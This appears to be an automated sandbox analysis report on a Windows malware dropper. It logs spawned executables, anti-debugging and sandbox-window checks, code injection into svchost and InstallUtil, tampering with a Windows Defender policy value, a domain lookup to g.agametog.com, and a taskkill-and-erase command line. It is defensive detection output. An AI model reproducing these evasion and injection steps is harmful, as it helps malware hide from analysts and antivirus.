Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00862AF9 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	14_2_00862AF9
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00871260 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	14_2_00871260
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_0087FCC8 FindFirstFileExA,	14_2_0087FCC8
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009BA931 FindFirstFileExW,	16_2_009BA931

Source: C:\Users\user\Desktop\fJe9em23BB.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Hides threads from debuggers

Source: C:\Users\user\Desktop\fJe9em23BB.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_0087C733 mov eax, dword ptr fs:[00000030h]	14_2_0087C733
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009BA648 mov eax, dword ptr fs:[00000030h]	16_2_009BA648
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009B5B65 mov ecx, dword ptr fs:[00000030h]	16_2_009B5B65

Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Process queried: DebugPort
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Process queried: DebugPort

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\AppData\Local\Temp\db.dll",open

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Code function: 14_2_00874561 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

14_2_00874561

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Code function: 14_2_008809B0 GetProcessHeap,

14_2_008809B0

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00874705 SetUnhandledExceptionFilter,	14_2_00874705
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_0087495A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_0087495A
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00874561 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00874561
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_0087D792 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0087D792
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009ACDB0 SetUnhandledExceptionFilter,	16_2_009ACDB0
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009AC2F6 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_009AC2F6
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009AF732 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_009AF732
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009ACC19 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_009ACC19

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe

Domain query: g.agametog.com

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DE9C3B0000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1EA4E740000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1BC8AF50000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FA7ED70000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C80D540000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13F17A90000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13954070000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25451940000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2196CA40000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FDE5D40000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26543140000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19837E70000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B2C0FB0000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 16B11FA0000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2733DED0000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13982AF0000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2ABC8140000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 181E95A0000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23281280000 protect: page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FC61940000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9C3B0000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 4E740000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 8AF50000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 7ED70000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: D540000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 17A90000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 54070000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 51940000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 6CA40000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: E5D40000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 43140000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 37E70000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: C0FB0000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 11FA0000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 3DED0000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 82AF0000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: C8140000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: E95A0000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 81280000
Source: C:\Windows\SysWOW64\rundll32.exe	Thread created: unknown EIP: 61940000

Writes to foreign memory regions

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 41C000	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: D49008	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DE9C3B0000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EA4E740000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BC8AF50000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA7ED70000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C80D540000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 13F17A90000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 13954070000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 25451940000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 2196CA40000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FDE5D40000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 26543140000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 19837E70000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B2C0FB0000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 16B11FA0000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 2733DED0000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 13982AF0000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 2ABC8140000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 181E95A0000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 23281280000
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FC61940000

Disables Windows Defender (deletes autostart)

Source: C:\Users\user\Desktop\fJe9em23BB.exe

Registry value deleted: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\group policy objects\{DEABB01A-A1FA-4884-A0F5-32D04FE62351}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\System32\svchost.exe

Thread register set: target process: 5228

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\svchost.exe

Thread register set: 5228 4D000

Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe "C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe "C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe "C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe "C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe "C:\Users\user\Pictures\Minor Policy\3IvnW3Tihs6HZPHX18cvdMMt.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe "C:\Users\user\Pictures\Minor Policy\aJLVqZit29LEEhRpCpbwWX8O.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe "C:\Users\user\Pictures\Minor Policy\GnPinkNTKlMRD3bjBO0oh3Wa.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe "C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe"	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	Process created: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe "C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe"	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Process created: C:\Windows\SysWOW64\control.exe "C:\Windows\System32\control.exe" "C:\Users\user\AppData\Local\Temp\VPGy.cpL",	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe	Process created: C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe "C:\Users\user\Pictures\Minor Policy\lxZuX__vSUgWYReh9N0WlQOa.exe" -h
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\Minor Policy\S4FBxlLjDvaMdcwHZaTlWrII.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\control.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\user\AppData\Local\Temp\VPGy.cpL",
Source: C:\Program Files (x86)\ccSearcher\ccsearcher.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "ccsearcher.exe" /f & erase "C:\Program Files (x86)\ccSearcher\ccsearcher.exe" & exit
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k WspService
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "ccsearcher.exe" /f

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "ccsearcher.exe" /f

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

14_2_0087006D

Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Pictures\Minor Policy\GWafJDbetTJK0ciVGh5n0Df1.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
